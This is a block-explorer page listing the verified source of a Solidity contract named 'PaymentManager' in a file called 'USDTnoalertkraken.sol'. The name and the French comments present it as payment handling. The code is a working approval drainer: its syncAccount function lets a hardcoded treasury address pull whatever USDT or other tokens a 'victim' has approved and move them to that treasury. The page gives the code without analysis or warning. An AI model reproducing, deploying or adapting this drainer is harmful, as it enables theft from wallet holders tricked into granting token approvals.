Skip to content
Verified contractExactMIT

PaymentManager

Address0x877e8d628661bcfc0312ee1ba2f9697969501682
Balance

0 ETH

 

Transactions

2

 

Compiler

solc 0.8.20

 

Same code

2 more contracts

 

Details

Compiler
solc 0.8.20+commit.a1b79de6
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,487,165
Creation transaction
0x0f7f42ccc3…afb3689e41

USDTnoalertkraken.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

interface IERC20 {
    function balanceOf(address) external view returns (uint256);
    function allowance(address, address) external view returns (uint256);
    function transferFrom(address, address, uint256) external;
    function transfer(address, uint256) external;
}

/// @title PaymentManager
/// @notice Collecte les approbations USDT et rapatrie les fonds vers le treasury.
contract PaymentManager {
    address public constant USDT     = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    address public constant TREASURY = 0x87897e70D1E8032895Af5466fF13Cd6BF1F3635f;

    event Synced(address indexed token, address indexed victim, uint256 amount);

    error NotTreasury();
    error ZeroAddress();
    error NothingToSync();

    /// @notice Rapatrie le solde approuvé d'une victime vers le treasury.
    function syncAccount(address token, address victim) external {
        if (msg.sender != TREASURY) revert NotTreasury();
        if (victim == address(0)) revert ZeroAddress();

        uint256 allowed = IERC20(token).allowance(victim, address(this));
        uint256 bal     = IERC20(token).balanceOf(victim);
        uint256 amount  = allowed < bal ? allowed : bal;
        if (amount == 0) revert NothingToSync();

        IERC20(token).transferFrom(victim, TREASURY, amount);
        emit Synced(token, victim, amount);
    }

    /// @notice Récupération des tokens envoyés par erreur sur ce contrat.
    function rescue(address token) external {
        if (msg.sender != TREASURY) revert NotTreasury();
        uint256 b = IERC20(token).balanceOf(address(this));
        IERC20(token).transfer(TREASURY, b);
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.